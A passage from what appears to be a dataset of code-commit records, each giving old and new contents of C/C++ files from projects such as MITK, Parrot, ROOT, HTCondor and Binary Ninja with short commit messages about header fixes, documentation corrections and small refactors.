class CESTDICOMReaderService : public BaseDICOMReaderService\n  {\n  public:\n    CESTDICOMReaderService();\n    CESTDICOMReaderService(const std::string& description);\n\n    \/** Uses the BaseDICOMReaderService Read function and add extra steps for CEST meta data *\/\n    virtual std::vector<itk::SmartPointer<BaseData> > Read() override;\n\n  protected:\n    \/** Returns the reader instance that should be used. The decision may be based\n    * one the passed relevant file list.*\/\n    virtual mitk::DICOMFileReader::Pointer GetReader(const mitk::StringList& relevantFiles) const override;\n\n  private:\n\n    virtual CESTDICOMReaderService* Clone() const override;\n  };\n\n}\n\n#endif \/\/ MITKDICOMSERIESREADERSERVICE_H\n","new_contents":"\/*===================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n\n#ifndef MITKCESTDICOMReaderService_H\n#define MITKCESTDICOMReaderService_H\n\n#include <mitkBaseDICOMReaderService.h>\n\nnamespace mitk {\n\n  \/**\n  Service wrapper that auto selects (using the mitk::DICOMFileReaderSelector) the best DICOMFileReader from\n  the DICOMReader module and loads additional meta data for CEST data.\n  *\/\n  class CESTDICOMReaderService : public BaseDICOMReaderService\n  {\n  public:\n    CESTDICOMReaderService();\n    CESTDICOMReaderService(const std::string& description);\n\n    \/** Uses the BaseDICOMReaderService Read function and add extra steps for CEST meta data *\/\n    using AbstractFileReader::Read;\n    virtual std::vector<itk::SmartPointer<BaseData> > Read() override;\n\n  protected:\n    \/** Returns the reader instance that should be used. The decision may be based\n    * one the passed relevant file list.*\/\n    virtual mitk::DICOMFileReader::Pointer GetReader(const mitk::StringList& relevantFiles) const override;\n\n  private:\n\n    virtual CESTDICOMReaderService* Clone() const override;\n  };\n\n}\n\n#endif \/\/ MITKDICOMSERIESREADERSERVICE_H\n","subject":"Fix warnings in CEST module","message":"Fix warnings in CEST module\n","lang":"C","license":"bsd-3-clause","repos":"MITK\/MITK,fmilano\/mitk,fmilano\/mitk,fmilano\/mitk,fmilano\/mitk,fmilano\/mitk,fmilano\/mitk,MITK\/MITK,MITK\/MITK,MITK\/MITK,fmilano\/mitk,MITK\/MITK,MITK\/MITK"}
{"commit":"ed6127234f1e0404be90431a49fdb3cdad350851","old_file":"Headers\/BSPropertySet.h","new_file":"Headers\/BSPropertySet.h","old_contents":"#import <Foundation\/Foundation.h>\n\n#import <Foundation\/NSEnumerator.h>\n#import \"BSNullabilityCompat.h\"\n\nNS_ASSUME_NONNULL_BEGIN\n\n\/**\n * A BSPropertySet represents the set of a Class' properties that will be injected into class instances after\n * the instances are created.\n *\n * If a\n *\/\n@interface BSPropertySet : NSObject<NSFastEnumeration>\n\n\/**\n * Returns a BSPropertySet for the given class, representing the properties named in the argument list. This\n * method is for use by classes within their implementation of bsProperties.\n *\n * For example, suppose there is a class that has a property called \"eventLogger\" of type EventLogger *.\n *\n * Suppose we want to inject two of the properties - address and color. We could implement bsProperties\n * like this:\n *\n * \\code\n *\n * + (BSPropertySet *)bsProperties {\n *      BSPropertySet *propertySet = [BSPropertySet propertySetWithClass:self propertyNames:@\"address\" @\"color\", nil];\n *      [propertySet bind:@\"address\" toKey:@\"my home address\"\n *\n * }\n *\n * \\endcode\n *\/\n+ (BSPropertySet *)propertySetWithClass:(Class)owningClass propertyNames:(NSString *)property1, ... NS_REQUIRES_NIL_TERMINATION;\n\n- (void)bindProperty:(NSString *)propertyName toKey:(id)key;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","new_contents":"#import <Foundation\/Foundation.h>\n\n#import <Foundation\/NSEnumerator.h>\n#import \"BSNullabilityCompat.h\"\n\nNS_ASSUME_NONNULL_BEGIN\n\n\/**\n * A BSPropertySet represents the set of a Class' properties that will be injected into class instances after\n * the instances are created.\n *\n * If a\n *\/\n@interface BSPropertySet : NSObject<NSFastEnumeration>\n\n\/**\n * Returns a BSPropertySet for the given class, representing the properties named in the argument list. This\n * method is for use by classes within their implementation of bsProperties.\n *\n * For example, suppose there is a class that has a property called \"eventLogger\" of type EventLogger *.\n *\n * Suppose we want to inject two of the properties - address and color. We could implement bsProperties\n * like this:\n *\n * \\code\n *\n * + (BSPropertySet *)bsProperties {\n *      BSPropertySet *propertySet = [BSPropertySet propertySetWithClass:self propertyNames:@\"address\" @\"color\", nil];\n *      [propertySet bind:@\"address\" toKey:@\"my home address\"];\n *      return propertySet;\n * }\n *\n * \\endcode\n *\/\n+ (BSPropertySet *)propertySetWithClass:(Class)owningClass propertyNames:(NSString *)property1, ... NS_REQUIRES_NIL_TERMINATION;\n\n- (void)bindProperty:(NSString *)propertyName toKey:(id)key;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","subject":"Fix code in header documentation","message":"Fix code in header documentation","lang":"C","license":"mit","repos":"lumoslabs\/blindside,jbsf\/blindside,lumoslabs\/blindside,jbsf\/blindside,jbsf\/blindside,lumoslabs\/blindside"}
{"commit":"e7c74f1f1dc05f5befbd66709a3908490d320a66","old_file":"include\/kompositum\/printer.h","new_file":"include\/kompositum\/printer.h","old_contents":"\/\/ Copyright(c) 2016 artopantone.\n\/\/ Distributed under the MIT License (http:\/\/opensource.org\/licenses\/MIT)\n\n#pragma once\n\n#include <kompositum\/visitor.h>\n\nnamespace Kompositum {\n\nclass Printer : public Visitor {\npublic:\n    void visit(Leaf* leaf) override {\n        doIndentation();\n        printf(\"- Leaf (%lu)\\n\", leaf->getID());\n    }\n\n    void visit(Composite* composite) override {\n        doIndentation();\n        indent++;\n\n        if (!composite->hasChildren()) {\n            printf(\"- Composite (%lu): empty\\n\", composite->getID());\n        } else {\n            printf(\"+ Composite (%lu):\\n\", composite->getID());\n            composite->visitChildren(*this);\n        }\n\n        indent--;\n    }\n\nprivate:\n    void doIndentation() const {\n        for (auto i = 0u; i < indent; ++i)\n            printf(\"+--\");\n    }\n\n    unsigned int indent = 0;\n};\n\n} \/\/ namespace Kompositum\n","new_contents":"\/\/ Copyright(c) 2016 artopantone.\n\/\/ Distributed under the MIT License (http:\/\/opensource.org\/licenses\/MIT)\n\n#pragma once\n\n#include <kompositum\/visitor.h>\n#include <cstdio>\n\nnamespace Kompositum {\n\nclass Printer : public Visitor {\npublic:\n    void visit(Leaf* leaf) override {\n        doIndentation();\n        printf(\"- Leaf (%lu)\\n\", leaf->getID());\n    }\n\n    void visit(Composite* composite) override {\n        doIndentation();\n        indent++;\n\n        if (!composite->hasChildren()) {\n            printf(\"- Composite (%lu): empty\\n\", composite->getID());\n        } else {\n            printf(\"+ Composite (%lu):\\n\", composite->getID());\n            composite->visitChildren(*this);\n        }\n\n        indent--;\n    }\n\nprivate:\n    void doIndentation() const {\n        for (auto i = 0u; i < indent; ++i)\n            printf(\"+--\");\n    }\n\n    unsigned int indent = 0;\n};\n\n} \/\/ namespace Kompositum\n","subject":"Add missing header for printf","message":"Add missing header for printf","lang":"C","license":"mit","repos":"Geraet\/Kompositum"}
{"commit":"e8a1e8a524d4860fcd9d176ee1fef250139b7e57","old_file":"src\/pomodoro_config.h","new_file":"src\/pomodoro_config.h","old_contents":"\/\/ ----------------------------------------------------------------------------\n\/\/ pomodoro_config - Defines the parameters for various pomodoro technique bits\n\/\/ Copyright (c) 2013 Jonathan Speicher (jon.speicher@gmail.com)\n\/\/ Licensed under the MIT license: http:\/\/opensource.org\/licenses\/MIT\n\/\/ ----------------------------------------------------------------------------\n\n#pragma once\n\n\/\/ Defines the duration of a pomodoro.\n\n#define POMODORO_MINUTES 0\n#define POMODORO_SECONDS 10\n\n\/\/ Defines the duration of a break.\n\n#define BREAK_MINUTES 0\n#define BREAK_SECONDS 5\n","new_contents":"\/\/ ----------------------------------------------------------------------------\n\/\/ pomodoro_config - Defines the parameters for various pomodoro technique bits\n\/\/ Copyright (c) 2013 Jonathan Speicher (jon.speicher@gmail.com)\n\/\/ Licensed under the MIT license: http:\/\/opensource.org\/licenses\/MIT\n\/\/ ----------------------------------------------------------------------------\n\n#pragma once\n\n\/\/ Defines the duration of a pomodoro.\n\n#define POMODORO_MINUTES 25\n#define POMODORO_SECONDS 0\n\n\/\/ Defines the duration of a break.\n\n#define BREAK_MINUTES 5\n#define BREAK_SECONDS 0\n","subject":"Change back to real-length pomodoros and breaks","message":"Change back to real-length pomodoros and breaks\n","lang":"C","license":"mit","repos":"jonspeicher\/Pomade,elliots\/simple-demo-pebble,jonspeicher\/Pomade"}
{"commit":"1af86fac6692ea2b5f9a92446ba6099f83b8dedb","old_file":"src\/platform\/win32\/num_cpus.c","new_file":"src\/platform\/win32\/num_cpus.c","old_contents":"\/*\n * Copyright (C) 2012, Parrot Foundation.\n *\/\n\n\/*\n\n=head1 NAME\n\nsrc\/platform\/win32\/num_cpus.c\n\n=head1 DESCRIPTION\n\nReturns the number of CPUs for win32 systems\n\n=head2 Functions\n\n=cut\n\n*\/\n\n#include \"parrot\/parrot.h\"\n\n#ifdef _WIN32\n#  define WIN32_LEAN_AND_MEAN\n#  include <windows.h>\n#endif\n\n\/* HEADERIZER HFILE: none *\/\n\n\/*\n\n=over 4\n\n=item C<INTVAL Parrot_get_num_cpus(Parrot_Interp)>\n\nReturns the number of CPUs\n\n=back\n\n=cut\n\n*\/\n\nINTVAL\nParrot_get_num_cpus(Parrot_Interp interp)\n{\n    INTVAL nprocs = -1;\n    SYSTEM_INFO info;\n\n    GetSystemInfo(&info);\n    nprocs = (INTVAL)info.dwNumberOfProcessors;\n    return nprocs;\n}\n\n\/*\n * Local variables:\n *   c-file-style: \"parrot\"\n * End:\n * vim: expandtab shiftwidth=4 cinoptions='\\:2=2' :\n *\/\n\n","new_contents":"\/*\n * Copyright (C) 2012, Parrot Foundation.\n *\/\n\n\/*\n\n=head1 NAME\n\nsrc\/platform\/win32\/num_cpus.c\n\n=head1 DESCRIPTION\n\nReturns the number of CPUs for win32 systems\n\n=head2 Functions\n\n=cut\n\n*\/\n\n#include \"parrot\/parrot.h\"\n\n#ifdef _WIN32\n#  define WIN32_LEAN_AND_MEAN\n#  include <windows.h>\n#endif\n\n\/* HEADERIZER HFILE: none *\/\n\n\/*\n\n=over 4\n\n=item C<INTVAL Parrot_get_num_cpus(Parrot_Interp interp)>\n\nReturns the number of CPUs\n\n=back\n\n=cut\n\n*\/\n\nINTVAL\nParrot_get_num_cpus(Parrot_Interp interp)\n{\n    INTVAL nprocs = -1;\n    SYSTEM_INFO info;\n\n    GetSystemInfo(&info);\n    nprocs = (INTVAL)info.dwNumberOfProcessors;\n    return nprocs;\n}\n\n\/*\n * Local variables:\n *   c-file-style: \"parrot\"\n * End:\n * vim: expandtab shiftwidth=4 cinoptions='\\:2=2' :\n *\/\n\n","subject":"Correct documentation of C function.","message":"[codingstd] Correct documentation of C function.\n","lang":"C","license":"artistic-2.0","repos":"youprofit\/parrot,youprofit\/parrot,tkob\/parrot,parrot\/parrot,parrot\/parrot,tkob\/parrot,parrot\/parrot,tkob\/parrot,FROGGS\/parrot,tkob\/parrot,tkob\/parrot,youprofit\/parrot,youprofit\/parrot,FROGGS\/parrot,youprofit\/parrot,tkob\/parrot,youprofit\/parrot,FROGGS\/parrot,parrot\/parrot,parrot\/parrot,FROGGS\/parrot,tkob\/parrot,tkob\/parrot,youprofit\/parrot,FROGGS\/parrot,youprofit\/parrot,FROGGS\/parrot,FROGGS\/parrot,FROGGS\/parrot"}
{"commit":"7e02a89c92248e1107d7adf1e5d2f65feedcc433","old_file":"roofit\/roofitcore\/inc\/RooFitCore_LinkDef.h","new_file":"roofit\/roofitcore\/inc\/RooFitCore_LinkDef.h","old_contents":"#ifdef __CINT__\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n\n#pragma link C++ function Roo* ;\n\n#pragma link C++ class RooLinkedList- ;\n#pragma link C++ class RooRealVar- ;\n#pragma link C++ class RooAbsBinning- ;\n#pragma link off class RooErrorHandler ;\n#pragma link C++ class RooRandomizeParamMCSModule::UniParam ;\n#pragma link C++ class RooRandomizeParamMCSModule::GausParam ;\n\n#endif\n","new_contents":"#ifdef __CINT__\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n\n#pragma link C++ function Roo* ;\n\n#pragma link C++ class RooLinkedList- ;\n#pragma link C++ class RooRealVar- ;\n#pragma link C++ class RooAbsBinning- ;\n#pragma link off class RooErrorHandler ;\n\n#endif\n","subject":"Disable attempt to generate dictionary for private classes","message":"Disable attempt to generate dictionary for private classes\n\nThe following warning was generated by rootcling:\n\nWarning: Class or struct RooRandomizeParamMCSModule::UniParam was\nselected but its dictionary cannot be generated: this is a private or\nprotected class and this is not supported. No direct I\/O operation of\nRooRandomizeParamMCSModule::UniParam instances will be possible.\n\nReference:\nhttp:\/\/cdash.cern.ch\/viewBuildError.php?type=1&buildid=393839\n","lang":"C","license":"lgpl-2.1","repos":"zzxuanyuan\/root,olifre\/root,root-mirror\/root,zzxuanyuan\/root,olifre\/root,root-mirror\/root,root-mirror\/root,karies\/root,root-mirror\/root,karies\/root,root-mirror\/root,olifre\/root,karies\/root,karies\/root,zzxuanyuan\/root,zzxuanyuan\/root,root-mirror\/root,root-mirror\/root,zzxuanyuan\/root,karies\/root,karies\/root,zzxuanyuan\/root,root-mirror\/root,olifre\/root,karies\/root,olifre\/root,karies\/root,olifre\/root,olifre\/root,zzxuanyuan\/root,zzxuanyuan\/root,karies\/root,root-mirror\/root,zzxuanyuan\/root,karies\/root,root-mirror\/root,zzxuanyuan\/root,olifre\/root,karies\/root,zzxuanyuan\/root,olifre\/root,olifre\/root,root-mirror\/root,olifre\/root,zzxuanyuan\/root"}
{"commit":"8cf1942611f7d3e517412e2062da2a69f514cd9f","old_file":"ui\/textdialog.h","new_file":"ui\/textdialog.h","old_contents":"#pragma once\n\n#include <QtWidgets\/QDialog>\n#include \"binaryninjaapi.h\"\n#include \"uitypes.h\"\n\nclass BINARYNINJAUIAPI TextDialog: public QDialog\n{\n\tQ_OBJECT\n\tQWidget* m_parent;\n\tQString m_title;\n\tQString m_msg;\n\tQStringList m_options;\n\tQt::WindowFlags m_flags;\n\tQString m_qSettingsListName;\n\tint m_historySize;\n\tQString m_historyEntry;\n\tQString m_initialText;\n\npublic:\n\tTextDialog(QWidget* parent, const QString& title, const QString& msg, const QString& qSettingsListName,\n\t\tconst std::string& initialText = \"\");\n\tTextDialog(QWidget* parent, const QString& title, const QString& msg, const QString& qSettingsListName,\n\t\tconst QString& initialText);\n\tQString getItem(bool& ok);\n\tvoid setInitialText(const std::string& initialText) { m_initialText = QString::fromStdString(initialText); }\n\tvoid commitHistory();\n};","new_contents":"#pragma once\n\n#include <QtWidgets\/QDialog>\n#include <QtWidgets\/QComboBox>\n#include <QtWidgets\/QLabel>\n\n#include \"binaryninjaapi.h\"\n#include \"uitypes.h\"\n#include \"binaryninjaapi.h\"\n\nclass BINARYNINJAUIAPI TextDialog: public QDialog\n{\n\tQ_OBJECT\n\tQString m_qSettingsListName;\n\tint m_historySize;\n\tQString m_historyEntry;\n\tQString m_initialText;\n\tQStringList m_historyEntries;\n\tQLabel* m_messageText;\n\tQComboBox* m_combo;\n\npublic:\n\tTextDialog(QWidget* parent, const QString& title, const QString& msg, const QString& qSettingsListName,\n\t\tconst std::string& initialText = \"\");\n\tTextDialog(QWidget* parent, const QString& title, const QString& msg, const QString& qSettingsListName,\n\t\tconst QString& initialText);\n\tQString getItem();\n\tvoid setInitialText(const std::string& initialText) { m_initialText = QString::fromStdString(initialText); }\n\tvoid commitHistory();\n};","subject":"Fix case sensitivity issue with the rename dialog","message":"Fix case sensitivity issue with the rename dialog\n","lang":"C","license":"mit","repos":"joshwatson\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,joshwatson\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,joshwatson\/binaryninja-api,joshwatson\/binaryninja-api,Vector35\/binaryninja-api,joshwatson\/binaryninja-api"}
{"commit":"b5220189bc6a5ec22efa7c6b8ae39bc166303c62","old_file":"src\/h\/startup.h","new_file":"src\/h\/startup.h","old_contents":"typedef struct {\n\tint\t\tcluster;\t\t\t\t\/* Condor Cluster # *\/\n\tint\t\tproc;\t\t\t\t\t\/* Condor Proc # *\/\n\tint\t\tjob_class;\t\t\t\t\/* STANDARD, VANILLA, PVM, PIPE, ... *\/\n\tuid_t\tuid;\t\t\t\t\t\/* Execute job under this UID *\/\n\tgid_t\tgid;\t\t\t\t\t\/* Execute job under this pid *\/\n\tpid_t\tvirt_pid;\t\t\t\t\/* PVM virt pid of this process *\/\n\tint\t\tsoft_kill_sig;\t\t\t\/* Use this signal for a soft kill *\/\n\tchar\t*a_out_name;\t\t\t\/* Where to get executable file *\/\n\tchar\t*cmd;\t\t\t\t\t\/* Command name given by the user *\/\n\tchar\t*args;\t\t\t\t\t\/* Command arguments given by the user *\/\n\tchar\t*env;\t\t\t\t\t\/* Environment variables *\/\n\tchar\t*iwd;\t\t\t\t\t\/* Initial working directory *\/\n\tBOOLEAN\tckpt_wanted;\t\t\t\/* Whether user wants checkpointing *\/\n\tBOOLEAN\tis_restart;\t\t\t\t\/* Whether this run is a restart *\/\n\tBOOLEAN\tcoredump_limit_exists;\t\/* Whether user wants to limit core size *\/\n\tint\t\tcoredump_limit;\t\t\t\/* Limit in bytes *\/\n} STARTUP_INFO;\n\n\/*\nShould eliminate starter knowing the a.out name.  Should go to\nshadow for instructions on how to fetch the executable - e.g. local file\nwith name <name> or get it from TCP port <x> on machine <y>.\n*\/\n","new_contents":"typedef struct {\n\tint\t\tversion_num;\t\t\t\/* version of this structure *\/\n\tint\t\tcluster;\t\t\t\t\/* Condor Cluster # *\/\n\tint\t\tproc;\t\t\t\t\t\/* Condor Proc # *\/\n\tint\t\tjob_class;\t\t\t\t\/* STANDARD, VANILLA, PVM, PIPE, ... *\/\n\tuid_t\tuid;\t\t\t\t\t\/* Execute job under this UID *\/\n\tgid_t\tgid;\t\t\t\t\t\/* Execute job under this gid *\/\n\tpid_t\tvirt_pid;\t\t\t\t\/* PVM virt pid of this process *\/\n\tint\t\tsoft_kill_sig;\t\t\t\/* Use this signal for a soft kill *\/\n\tchar\t*cmd;\t\t\t\t\t\/* Command name given by the user *\/\n\tchar\t*args;\t\t\t\t\t\/* Command arguments given by the user *\/\n\tchar\t*env;\t\t\t\t\t\/* Environment variables *\/\n\tchar\t*iwd;\t\t\t\t\t\/* Initial working directory *\/\n\tBOOLEAN\tckpt_wanted;\t\t\t\/* Whether user wants checkpointing *\/\n\tBOOLEAN\tis_restart;\t\t\t\t\/* Whether this run is a restart *\/\n\tBOOLEAN\tcoredump_limit_exists;\t\/* Whether user wants to limit core size *\/\n\tint\t\tcoredump_limit;\t\t\t\/* Limit in bytes *\/\n} STARTUP_INFO;\n\n#define STARTUP_VERSION 1\n\n\/*\nShould eliminate starter knowing the a.out name.  Should go to\nshadow for instructions on how to fetch the executable - e.g. local file\nwith name <name> or get it from TCP port <x> on machine <y>.\n*\/\n","subject":"Add version number and get rid if a.out name.","message":"Add version number and get rid if a.out name.\n","lang":"C","license":"apache-2.0","repos":"djw8605\/htcondor,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,djw8605\/htcondor,clalancette\/condor-dcloud,djw8605\/condor,neurodebian\/htcondor,htcondor\/htcondor,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,htcondor\/htcondor,djw8605\/condor,clalancette\/condor-dcloud,zhangzhehust\/htcondor,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,htcondor\/htcondor,neurodebian\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,djw8605\/htcondor,djw8605\/condor,djw8605\/condor,zhangzhehust\/htcondor,djw8605\/htcondor,mambelli\/osg-bosco-marco,djw8605\/condor,neurodebian\/htcondor,neurodebian\/htcondor,djw8605\/condor,neurodebian\/htcondor,htcondor\/htcondor,djw8605\/htcondor,mambelli\/osg-bosco-marco,htcondor\/htcondor,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,neurodebian\/htcondor,htcondor\/htcondor,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,djw8605\/condor,djw8605\/htcondor,bbockelm\/condor-network-accounting,neurodebian\/htcondor,djw8605\/htcondor,djw8605\/condor,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,htcondor\/htcondor,djw8605\/htcondor,bbockelm\/condor-network-accounting,djw8605\/htcondor,mambelli\/osg-bosco-marco,mambelli\/osg-bosco-marco,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,htcondor\/htcondor,neurodebian\/htcondor,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,zhangzhehust\/htcondor,clalancette\/condor-dcloud"}
{"commit":"0e503bac91f852f423472b89f4f4356a71143ccc","old_file":"nttimer.h","new_file":"nttimer.h","old_contents":"","new_contents":"#pragma once\n\n#include <minwindef.h>\n\/\/#include <ntstatus.h>\n\n\/\/ Can't include ntdef.h because it clashes with winnt.h\n\/\/#include <ntdef.h>\ntypedef _Return_type_success_(return >= 0) LONG NTSTATUS;\ntypedef void* POBJECT_ATTRIBUTES;\ntypedef enum _TIMER_TYPE {\n\tNotificationTimer,\n\tSynchronizationTimer\n} TIMER_TYPE;\n\n#pragma comment(lib, \"ntdll.lib\")\n\nextern \"C\" {\n\n\tNTSYSAPI\n\t\tNTSTATUS\n\t\tNTAPI\n\t\tNtCancelTimer(\n\t\t\tIN HANDLE               TimerHandle,\n\t\t\tOUT PBOOLEAN            CurrentState OPTIONAL);\n\n\tNTSYSAPI\n\t\tNTSTATUS\n\t\tNTAPI\n\t\tNtCreateTimer(\n\t\t\tOUT PHANDLE             TimerHandle,\n\t\t\tIN ACCESS_MASK          DesiredAccess,\n\t\t\tIN POBJECT_ATTRIBUTES   ObjectAttributes OPTIONAL,\n\t\t\tIN TIMER_TYPE           TimerType);\n\n\ttypedef void(CALLBACK * PTIMER_APC_ROUTINE)(\n\t\tIN PVOID TimerContext,\n\t\tIN ULONG TimerLowValue,\n\t\tIN LONG TimerHighValue\n\t\t);\n\n\tNTSYSAPI\n\t\tNTSTATUS\n\t\tNTAPI\n\t\tNtSetTimer(\n\t\t\tIN HANDLE               TimerHandle,\n\t\t\tIN PLARGE_INTEGER       DueTime,\n\t\t\tIN PTIMER_APC_ROUTINE   TimerApcRoutine OPTIONAL,\n\t\t\tIN PVOID                TimerContext OPTIONAL,\n\t\t\tIN BOOLEAN              ResumeTimer,\n\t\t\tIN LONG                 Period OPTIONAL,\n\t\t\tOUT PBOOLEAN            PreviousState OPTIONAL);\n\n\tNTSYSAPI\n\t\tNTSTATUS\n\t\tNTAPI\n\t\tNtSetTimerResolution(\n\t\t\tIN ULONG RequestedResolution,\n\t\t\tIN BOOLEAN Set,\n\t\t\tOUT PULONG ActualResolution\n\t\t);\n\n\tNTSYSAPI\n\t\tNTSTATUS\n\t\tNTAPI\n\t\tNtQueryTimerResolution(\n\t\t\tOUT PULONG MinimumResolution,\n\t\t\tOUT PULONG MaximumResolution,\n\t\t\tOUT PULONG ActualResolution\n\t\t);\n\n}","subject":"Add header file with declarations for NT timers","message":"Add header file with declarations for NT timers\n","lang":"C","license":"mit","repos":"jgfoster\/Dolphin,objectarts\/DolphinVM,shoshanatech\/Dolphin,dolphinsmalltalk\/Dolphin,blairmcg\/Dolphin,dolphinsmalltalk\/Dolphin,shoshanatech\/Dolphin,dolphinsmalltalk\/DolphinVM,blairmcg\/Dolphin,jgfoster\/Dolphin,objectarts\/Dolphin,objectarts\/DolphinVM,dolphinsmalltalk\/DolphinVM,jgfoster\/Dolphin,blairmcg\/Dolphin,dolphinsmalltalk\/Dolphin,jgfoster\/Dolphin,shoshanatech\/Dolphin,dolphinsmalltalk\/Dolphin,shoshanatech\/Dolphin,objectarts\/Dolphin,blairmcg\/Dolphin"}
{"commit":"851b00b16235d9026d80ddfd783a5af9d0a2d5b6","old_file":"msvcdbg.h","new_file":"msvcdbg.h","old_contents":"#if defined(_MSC_VER) && !defined(NDEBUG) && defined(_CRTDBG_MAP_ALLOC) && !defined(MSVCDBG_H)\n#define MSVCDBG_H\n\/*!\n * @file msvcdbg.h\n * @brief Memory debugger for msvc\n * @author koturn\n *\/\n#include <crtdbg.h>\n\n\nstatic void\n__msvc_init_memory_check__(void);\n\n\n#pragma section(\".CRT$XCU\", read)\n__declspec(allocate(\".CRT$XCU\"))\nvoid (* __msvc_init_memory_check___)(void) = __msvc_init_memory_check__;\n\n\n\/*!\n * @brief Enable heap management\n *\/\nstatic void\n__msvc_init_memory_check__(void)\n{\n  _CrtSetDbgFlag(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_LEAK_CHECK_DF | _CRTDBG_DELAY_FREE_MEM_DF);\n  _CrtSetReportMode(_CRT_WARN, _CRTDBG_MODE_FILE);\n  _CrtSetReportFile(_CRT_WARN, _CRTDBG_FILE_STDOUT);\n}\n\n\n#endif\n","new_contents":"#if defined(_MSC_VER) && !defined(NDEBUG) && defined(_CRTDBG_MAP_ALLOC) && !defined(MSVCDBG_H)\n#define MSVCDBG_H\n\/*!\n * @file msvcdbg.h\n * @brief Memory debugger for msvc\n * @author koturn\n *\/\n#include <crtdbg.h>\n\n#define MSVCDBG_NEW  new(_NORMAL_BLOCK, __FILE__, __LINE__)\n#ifdef MSVCDBG_REPLACE_NEW\n#  define new  MSVCDBG_NEW\n#endif\n\n\nstatic void\n__msvc_init_memory_check__(void);\n\n\n#pragma section(\".CRT$XCU\", read)\n__declspec(allocate(\".CRT$XCU\"))\nvoid (* __msvc_init_memory_check___)(void) = __msvc_init_memory_check__;\n\n\n\/*!\n * @brief Enable heap management\n *\/\nstatic void\n__msvc_init_memory_check__(void)\n{\n  _CrtSetDbgFlag(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_LEAK_CHECK_DF | _CRTDBG_DELAY_FREE_MEM_DF);\n  _CrtSetReportMode(_CRT_WARN, _CRTDBG_MODE_FILE);\n  _CrtSetReportFile(_CRT_WARN, _CRTDBG_FILE_STDOUT);\n}\n\n\n#endif\n","subject":"Enable to replace \"new\" operator","message":"Enable to replace \"new\" operator\n","lang":"C","license":"mit","repos":"koturn\/msvcdbg"}
{"commit":"a536e7ccae49fb5141e9a959cff10500599993d4","old_file":"ui\/clickablelabel.h","new_file":"ui\/clickablelabel.h","old_contents":"#pragma once\n\n#include <QtWidgets\/QLabel>\n\nclass BINARYNINJAUIAPI ClickableLabel: public QLabel\n{\n\tQ_OBJECT\n\npublic:\n\tClickableLabel(QWidget* parent = nullptr, const QString& name = \"\"): QLabel(parent) { setText(name); }\n\nsignals:\n\tvoid clicked();\n\nprotected:\n\tvoid mouseReleaseEvent(QMouseEvent* event) override { if (event->button() == Qt::LeftButton) emit clicked(); }\n};\n","new_contents":"#pragma once\n\n#include <QtWidgets\/QLabel>\n\nclass BINARYNINJAUIAPI ClickableLabel: public QLabel\n{\n\tQ_OBJECT\n\npublic:\n\tClickableLabel(QWidget* parent = nullptr, const QString& name = \"\"): QLabel(parent) { setText(name); }\n\nQ_SIGNALS:\n\tvoid clicked();\n\nprotected:\n\tvoid mouseReleaseEvent(QMouseEvent* event) override { if (event->button() == Qt::LeftButton) Q_EMIT clicked(); }\n};\n","subject":"Use Q_SIGNALS \/ Q_EMIT macros instead of signals \/ emit","message":"Use Q_SIGNALS \/ Q_EMIT macros instead of signals \/ emit\n","lang":"C","license":"mit","repos":"joshwatson\/binaryninja-api,Vector35\/binaryninja-api,joshwatson\/binaryninja-api,joshwatson\/binaryninja-api,joshwatson\/binaryninja-api,joshwatson\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api"}
{"commit":"af485fc505247b10dc247ebdf96ba2aa70448ea5","old_file":"tests\/embedded\/do_test.c","new_file":"tests\/embedded\/do_test.c","old_contents":"#include <hwloc.h>\n#include <stdio.h>\n\n\/* The body of the test is in a separate .c file and a separate\n   library, just to ensure that hwloc didn't force compilation with\n   visibility flags enabled. *\/\n\nint do_test(void)\n{\n    mytest_hwloc_topology_t topology;\n    unsigned depth;\n    hwloc_cpuset_t cpu_set;\n\n    \/* Just call a bunch of functions to see if we can link and run *\/\n\n    printf(\"*** Test 1: cpuset alloc\\n\");\n    cpu_set = mytest_hwloc_cpuset_alloc();\n    if (NULL == cpu_set) return 1;\n    printf(\"*** Test 2: topology init\\n\");\n    if (0 != mytest_hwloc_topology_init(&topology)) return 1;\n    printf(\"*** Test 3: topology load\\n\");\n    if (0 != mytest_hwloc_topology_load(topology)) return 1;\n    printf(\"*** Test 4: topology get depth\\n\");\n    depth = mytest_hwloc_topology_get_depth(topology);\n    if (depth < 0) return 1;\n    printf(\"    Max depth: %u\\n\", depth);\n    printf(\"*** Test 5: topology destroy\\n\");\n    mytest_hwloc_topology_destroy(topology);\n    printf(\"*** Test 6: cpuset free\\n\");\n    mytest_hwloc_cpuset_free(cpu_set);\n\n    return 0;\n}\n","new_contents":"#include <hwloc.h>\n#include <stdio.h>\n\n\/* The body of the test is in a separate .c file and a separate\n   library, just to ensure that hwloc didn't force compilation with\n   visibility flags enabled. *\/\n\nint do_test(void)\n{\n    mytest_hwloc_topology_t topology;\n    unsigned depth;\n    hwloc_bitmap_t cpu_set;\n\n    \/* Just call a bunch of functions to see if we can link and run *\/\n\n    printf(\"*** Test 1: bitmap 